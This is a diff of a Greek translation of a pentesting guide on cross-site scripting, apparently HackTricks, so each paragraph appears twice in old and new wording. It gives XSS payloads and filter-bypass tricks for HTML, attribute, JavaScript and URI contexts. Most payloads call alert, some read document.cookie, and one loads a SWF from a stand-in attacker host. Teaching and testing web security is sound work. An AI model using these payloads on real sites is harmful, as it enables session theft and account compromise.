Σε περίπτωση που είναι ευάλωτο, μπορείτε να **ενεργοποιήσετε ένα ειδοποιητή** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο ότι αυτά τα σημεία θα **επικυρώνουν το περιεχόμενο** για να επιτρέψουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελεστούν κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό οφείλεται στο γεγονός ότι μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
![](<../../.gitbook/assets/image (744).png>)
@ -120,7 +120,7 @@ parentElement
```
Μπορείτε επίσης να δοκιμάσετε να **ενεργοποιήσετε συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`.
Ωστόσο, συνήθως τα σημεία που εκτελούν τη συγκεκριμένη λειτουργία είναι σημεία χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
Ωστόσο, συνήθως τα σημεία που εκτελούν την εν λόγω λειτουργία είναι σημεία χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
Επομένως, για να **καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**:
@ -138,7 +138,7 @@ parentElement
### **Universal XSS**
Αυτού του είδους τα XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη ενός web εφαρμογής αλλά από **οποιοδήποτε** **πλαίσιο**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμα να καταχραστεί για να λάβει **RCE**, **διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και περισσότερα.\
Αυτού του είδους τα XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη ενός web εφαρμογής αλλά από **οποιοδήποτε** **πλαίσιο**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμη να καταχραστεί για να λάβει **RCE**, **διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και περισσότερα.\
Μερικά **παραδείγματα**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -155,7 +155,7 @@ parentElement
## Ενσωμάτωση μέσα σε ακατέργαστο HTML
Όταν η είσοδός σας αντανακλάται **μέσα στη σελίδα HTML** ή μπορείτε να δραπετεύσετε και να ενσωματώσετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλά δοκιμάστε να **αντανακλάτε** αυτό το **χαρακτήρα** και ελέγξτε αν γίνεται **κωδικοποίηση HTML** ή **διαγραφή** του ή αν αντανακλάται **χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορείτε να εκμεταλλευτείτε αυτήν την περίπτωση**.\
Όταν η είσοδός σας αντανακλάται **μέσα στη σελίδα HTML** ή μπορείτε να δραπετεύσετε και να ενσωματώσετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλά δοκιμάστε να **αντανακλάτε** αυτό το **χαρακτήρα** και ελέγξτε αν γίνεται **κωδικοποίηση HTML** ή **διαγραφή** του ή αν αντανακλάται **χωρίς αλλαγές**. **Μόνο σε αυτήν την τελευταία περίπτωση θα μπορείτε να εκμεταλλευτείτε αυτήν την περίπτωση**.\
Για αυτές τις περιπτώσεις επίσης **θυμηθείτε** [**Ενσωμάτωση Πλευράς Πελάτη**](../client-side-template-injection-csti.md)**.**\
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας**** ****`-->`**** ****ή**** ****`--!>`**_
@ -178,9 +178,9 @@ _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Παρακάμψεις Μαύρης Λίστας
### Παράκαμψη Μαύρης Λίστας
Αν χρησιμοποιείται κάποια μορφή μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
Εάν χρησιμοποιείται κάποιο είδος μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -233,7 +233,7 @@ onerror=alert`1`
### Παράκαμψη μήκους (μικρά XSSs)
{% hint style="info" %}
**Περισσότερα μικρά XSS για διαφορετικά περιβάλλοντα** payload [**μπορεί να βρεθεί εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
**Περισσότερα μικρά XSS για διαφορετικά περιβάλλοντα** φορτίο [**μπορεί να βρεθεί εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
@ -243,22 +243,22 @@ onerror=alert`1`
```
Το τελευταίο χρησιμοποιεί 2 χαρακτήρες Unicode που επεκτείνονται σε 5: telsr\
Περισσότεροι από αυτούς οι χαρακτήρες μπορούν να βρεθούν [εδώ](https://www.unicode.org/charts/normalization/).\
Για να ελέγξετε ποιοι χαρακτήρες είναι αποσυνθέτικοι, ελέγξτε [εδώ](https://www.compart.com/en/unicode/U+2121).
Για να ελέγξετε σε ποιους χαρακτήρες αποσυνθέτονται, ελέγξτε [εδώ](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον **χρήστη να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα** με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να [**καταχραστείτε το Clickjacking**](../clickjacking.md#xss-clickjacking) (αν η σελίδα είναι ευάθροιστη).
Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεται ο **χρήστης να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα** με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να [**καταχραστείτε το Clickjacking**](../clickjacking.md#xss-clickjacking) (αν η σελίδα είναι ευάθροιστη).
### Αδύνατο - Dangling Markup
Αν απλά πιστεύετε ότι **είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε το [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/) επειδή μπορείτε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**.
Αν απλά πιστεύετε ότι **είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε το [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) επειδή μπορείτε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**.
## Ενσωμάτωση μέσα σε ετικέτα HTML
### Μέσα στην ετικέτα/διαφυγή από την τιμή του γνωρίσματος
Αν βρίσκεστε **μέσα σε μια ετικέτα HTML**, το πρώτο πράγμα που μπορείτε να δοκιμάσετε είναι να **διαφύγετε** από την ετικέτα και να χρησιμοποιήσετε κάποιες από τις τεχνικές που αναφέρονται στο [προηγούμενο τμήμα](./#injecting-inside-raw-html) για να εκτελέσετε κώδικα JS.\
Αν **δεν μπορείτε να διαφύγετε από την ετικέτα**, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (_σημείωση ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το γνώρισμα, δεν θα τα χρειαστείτε αν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα_):
Αν **δεν μπορείτε να διαφύγετε από την ετικέτα**, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (_σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το γνώρισμα, δεν θα τα χρειαστείτε αν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -275,12 +275,12 @@ onerror=alert`1`
```
### Μέσα στο γνώρισμα
Ακόμα κι αν **δεν μπορείτε να δραπετεύσετε από το γνώρισμα** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο γνώρισμα** αντικατοπτρίζεται η τιμή σας **εάν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα συμβάν όπως το `onclick=`, θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.\
Ακόμα κι αν **δεν μπορείτε να δραπετεύσετε από το γνώρισμα** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο γνώρισμα** αντικατοπτρίζεται η τιμή σας **εάν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=`, θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.\
Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το γνώρισμα `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
**Παράκαμψη μέσα σε συμβάν με χρήση κωδικοποίησης HTML/κωδικοποίησης URL**
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας κωδικοποίηση HTML/κωδικοποίηση URL**
Οι **κωδικοποιημένοι χαρακτήρες HTML** μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι τέτοιο θα είναι έγκυρο (η φορτίο βρίσκεται σε bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Επιστροφή </a>`
Οι **κωδικοποιημένοι χαρακτήρες HTML** μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το φορτίο είναι σε έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Επιστροφή </a>`
Σημειώστε ότι **οποιαδήποτε μορφή κωδικοποίησης HTML είναι έγκυρη**:
```javascript
@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
**Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
**Τοποθεσίες όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
**Γενικά** το πρωτόκολλο `javascript:` μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το γνώρισμα `href`** και σε **τις περισσότερες** από τις ετικέτες που δέχονται το **γνώρισμα `src`** (αλλά όχι `<img`)
**Γενικά** το πρωτόκολλο `javascript:` μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **τις περισσότερες** από τις ετικέτες που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -353,13 +353,13 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**Άλλα κόλπα παραμόρφωσης**
**Άλλα κόλπα παρασκευής**
_**Σε αυτήν την περίπτωση, η κωδικοποίηση HTML και το κόλπο κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρα καθώς βρίσκεστε μέσα σε ένα γνώρισμα.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Επιπλέον, υπάρχει ένα **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα κι αν το input σας μέσα στο `javascript:...` κωδικοποιείται σε μορφή URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειάζεται να **δραπετεύσετε** από το **string** χρησιμοποιώντας μια **μονή απόστροφο** και βλέπετε ότι **κωδικοποιείται σε μορφή URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονή απόστροφος** κατά την **εκτέλεση**.
Επιπλέον, υπάρχει ένα **όμορφο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα κι αν το input σας μέσα στο `javascript:...` κωδικοποιείται σε μορφή URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειάζεστε να **δραπετεύσετε** από το **string** χρησιμοποιώντας μια **μονή απόστροφο** και βλέπετε ότι **κωδικοποιείται σε μορφή URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονή απόστροφο** κατά την **εκτέλεση**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -367,9 +367,9 @@ _**Σε αυτήν την περίπτωση, η κωδικοποίηση HTML
```
Σημείωση ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload** δεν θα **λειτουργήσει**, αλλά μπορείτε να **τα ανακατέψετε μέσα στο payload**.
**Χρήση κωδικοποίησης Hex και Octal με `javascript:`**
**Χρησιμοποιώντας το Hex και το Octal encode με το `javascript:`**
Μπορείτε να χρησιμοποιήσετε την **κωδικοποίηση Hex** και **Octal** μέσα στο χαρακτηριστικό `src` του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για εκτέλεση JS**:
Μπορείτε να χρησιμοποιήσετε το **Hex** και το **Octal encode** μέσα στο χαρακτηριστικό `src` του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -393,7 +393,7 @@ _**Σε αυτήν την περίπτωση, η κωδικοποίηση HTML
### Παράκαμψη Χειριστών Γεγονότων
Καταρχάς ελέγξτε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμους **"on" χειριστές γεγονότων**.\
Καταρχάς, ελέγξτε αυτήν τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμους **"on" χειριστές γεγονότων**.\
Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που σας εμποδίζει από το να δημιουργήσετε αυτούς τους χειριστές γεγονότων, μπορείτε να δοκιμάσετε τις ακόλουθες παρακάμψεις:
```javascript
<svg onload%09=alert(1)> //No safari
@ -411,12 +411,12 @@ Android: %09 %20 %28 %2C %3B
```
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονικός, μετα)
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατή η κατάχρηση κρυφών εισόδων με:**
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατή η κατάχρηση των κρυφών εισόδων με:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
```
Και στις **μεταετικέτες (meta tags)**:
Και στις **μεταετικέτες**:
```html
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό γνώρισμα**, εφόσον μπορείτε να **πείσετε** το **θύμα** να πατήσει το **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο γνώρισμα πρόσβασης. Εδώ είναι το διάνυσμα:
Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό γνώρισμα**, αρκεί να **πείσετε** το **θύμα** να πατήσει το **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο γνώρισμα πρόσβασης. Εδώ είναι το διάνυσμα:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -432,7 +432,7 @@ Android: %09 %20 %28 %2C %3B
### Παράκαμψη Μαύρης Λίστας
Έχουν αποκαλυφθεί διάφορα κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις ήδη μέσα σε αυτήν την ενότητα. Πήγαινε **πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:**
Έχουν αποκαλυφθεί ήδη αρκετά κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις μέσα σε αυτήν την ενότητα. Πήγαινε **πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:**
* **Κωδικοποίηση HTML (ετικέτες HTML)**
* **Κωδικοποίηση Unicode (μπορεί να είναι έγκυρος κώδικας JS):** `\u0061lert(1)`
@ -450,9 +450,9 @@ Android: %09 %20 %28 %2C %3B
### CSS-Gadgets
Αν βρήκες ένα **XSS σε ένα πολύ μικρό μέρος** του ιστού που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό link στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να **τροποποιήσεις τον χώρο που καταλαμβάνει** το στοιχείο για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.
Αν βρήκες ένα **XSS σε ένα πολύ μικρό μέρος** του ιστοώστερου που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό link στο υποσέλιδο με στοιχείο onmouseover), μπορείς να **τροποποιήσεις τον χώρο που καταλαμβάνει το στοιχείο** για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.
Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλ στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλιστικά στοιχεία στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Αλλά, αν το WAF φιλτράρει το χαρακτηριστικό style, μπορείς να χρησιμοποιήσεις τα CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα
@ -470,29 +470,29 @@ Android: %09 %20 %28 %2C %3B
## Ενσωμάτωση μέσα στον κώδικα JavaScript
Σε αυτές τις περιπτώσεις το **input** σου θα **αντανακλάται μέσα στον κώδικα JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ των γεγονότων HTML που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ των χαρακτηριστικών που δέχονται το πρωτόκολλο `javascript:`.
Σε αυτές τις περιπτώσεις το **input** σου θα **αντικατοπτρίζεται μέσα στον κώδικα JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ των HTML events που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ των χαρακτηριστικών που δέχονται το πρωτόκολλο `javascript:`.
### Απόδραση της ετικέτας \<script>
Αν ο κώδικάς σου εισάγεται μέσα σε `<script> [...] var input = 'αντανακλαστικά δεδομένα' [...] </script>` μπορείς εύκολα **να αποδράσεις κλείνοντας την ετικέτα `<script>`**:
Αν ο κώδικάς σου εισάγεται μέσα σε `<script> [...] var input = 'αντικατοπτριζόμενα δεδομένα' [...] </script>` μπορείς εύκολα **να αποδράσεις κλείνοντας την ετικέτα `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Σημείωσε ότι σε αυτό το παράδειγμα **δεν έχουμε κλείσει ούτε τη μονή απόστροφο**. Αυτό συμβαίνει επειδή η **ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή**, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο μετά.
Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε κλείσει ακόμα το μονό εισαγωγικό**. Αυτό συμβαίνει επειδή η **ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή**, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο αργότερα.
### Μέσα στον κώδικα JS
Αν τα `<>` αποσαφηνίζονται, μπορείτε ακόμα να **αποδράσετε τη συμβολοσειρά** όπου βρίσκεται η **είσοδός σας** και να **εκτελέσετε αυθαίρετο JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη του JS**, επειδή αν υπάρχουν οποιαδήποτε σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
Αν τα `<>` αποστειρώνονται, μπορείτε ακόμα να **αποδράσετε τη συμβολοσειρά** όπου βρίσκεται η **είσοδός σας** και να **εκτελέσετε αυθαίρετο JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη του JS**, επειδή αν υπάρχουν οποιαδήποτε σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
### Πρότυπα συμβολοσειρών \`\`
### Πρότυπα αλφαριθμητικών \`\`
Για να κατασκευάσετε **συμβολοσειρές** εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης **ανάστροφες μονάδες** **` `` `**. Αυτό είναι γνωστό ως πρότυπα συμβολοσειρών καθώς επιτρέπουν τη **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.
Για να κατασκευάσετε **αλφαριθμητικά** εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης **ανάστροφες μονάδες** **` `` `**. Αυτό είναι γνωστό ως πρότυπα αλφαριθμητικών καθώς επιτρέπουν τη **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντανακλάται** μέσα σε μια συμβολοσειρά JS που χρησιμοποιεί ανάστροφες μονάδες, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **οποιοδήποτε JS κώδικα**:
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντανακλάται** μέσα σε ένα αλφαριθμητικό JS που χρησιμοποιεί ανάστροφες μονάδες, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **οποιοδήποτε JS κώδικα**:
Αυτό μπορεί να **καταχραστεί** χρησιμοποιώντας:
```javascript
@ -572,7 +572,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**Λευκοί χαρακτήρες στο JavaScript**
**Λευκά διαστήματα στη JavaScript**
```javascript
log=[];
function funct(){}
@ -736,7 +736,7 @@ top[8680439..toString(30)](1)
````
## **Ευπάθειες DOM**
Υπάρχει **κώδικας JS** που χρησιμοποιεί **δεδομένα ελέγχου που ελέγχεται από έναν εισβολέα** όπως το `location.href`. Ένας εισβολέας μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\
Υπάρχει **κώδικας JS** που χρησιμοποιεί **δεδομένα ελέγχου που ελέγχεται από κακόβουλο χρήστη** όπως το `location.href`. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\
**Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM μεταφέρθηκε σε αυτήν τη σελίδα**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
@ -758,18 +758,18 @@ top[8680439..toString(30)](1)
```
### Διαπραγμάτευση Ruby-On-Rails
Λόγω των **RoR μαζικών εκχωρήσεων** οι εισαγωγικοί χαρακτήρες εισάγονται στο HTML και στη συνέχεια η περιοριστική διάταξη παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
Λόγω των **RoR μαζικών εκχωρήσεων** τα εισαγωγικά εισάγονται στο HTML και στη συνέχεια η περιοριστική πρόταση παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
Παράδειγμα φόρμας ([από αυτήν την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το φορτίο:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Το ζεύγος "Key", "Value" θα επιστραφεί πίσω όπως εδώ:
Το ζεύγος "Key","Value" θα επιστραφεί πίσω όπως εδώ:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
### Ειδικοί συνδυασμοί
Στη συνέχεια, το γνώρισμα onfocus θα εισαχθεί και θα προκληθεί XSS.
Στη συνέχεια, το χαρακτηριστικό onfocus θα εισαχθεί και θα προκληθεί XSS.
```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
@ -799,24 +799,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS με εισαγωγή κεφαλίδων σε μια απάντηση 302
### XSS με εισαγωγή κεφαλίδας σε μια απάντηση 302
Εάν ανακαλύψετε ότι μπορείτε **να εισάγετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **κάνετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι εύκολο** καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απάντησης HTTP εάν ο κωδικός κατάστασης της απάντησης HTTP είναι 302, οπότε μια απλή φόρτωση cross-site scripting είναι άχρηστη.
